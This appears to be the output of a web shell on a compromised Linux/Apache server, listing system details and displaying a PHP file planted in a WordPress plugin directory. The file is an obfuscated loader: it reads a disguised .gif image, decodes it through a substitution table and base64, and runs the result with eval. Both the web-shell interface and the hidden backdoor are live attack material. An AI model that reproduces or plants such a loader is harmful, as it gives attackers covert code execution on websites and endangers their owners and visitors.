HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/achefoz/duxevi.txt
<?php

function oqerew_osivokixi($bufyvy_qihygoda) {
    if ($bufyvy_qihygoda == 1)
        return ononyc_ovufoqyx();
    if ($bufyvy_qihygoda == 2)
        return esyxew_iratathax();
}

function ifawas_tuzhurab($bufyvy_qihygoda) {
    $unypoc = oqerew_osivokixi(1);
    $ojetod = oqerew_osivokixi(2);
    for ($yxifija = 0; $yxifija < strlen($unypoc); $yxifija++) {
        $ahakomu = substr($unypoc, $yxifija, 1);
        $alupuqu = substr($ojetod, $yxifija, 1);
        $aluhic[$ahakomu] = $alupuqu;
    }

    $owatet = strtr($bufyvy_qihygoda, $aluhic);
    $owatet = base64_decode($owatet);

    return $owatet;
}

function qyhoko_exeqizupo($bufyvy_qihygoda) {
    $zhetuqy = array();
    if (!file_exists($bufyvy_qihygoda))
        return false;
    $ahocawo = @file_get_contents($bufyvy_qihygoda);
    if (!$ahocawo)
        return false;
    $ahocawo = substr($ahocawo, 3);
    $zhetuqy = ifawas_tuzhurab($ahocawo);
    return $zhetuqy;
}

function ononyc_ovufoqyx() {
    $ahocawo = "5HtagevkGqR=QJrzp/mAd03olPnOKjSifTBxNu2D+U1LIwZbCWY8E96cM7XFhy4Vs";
    return $ahocawo;
}

function esyxew_iratathax() {
    $zhetuqy = "/QwX2+5lPBq6yFeku84I=g3brU1ZpfWJi0hCGdscmRoDHASztNV9j7TxKnLYEavOM";
    return $zhetuqy;
}

$axymipe = qyhoko_exeqizupo(__DIR__ . "/asset" . "s/imag" . "es/z" . "haviru" . ".gif");
if ($axymipe) {
    @eval($axymipe);
}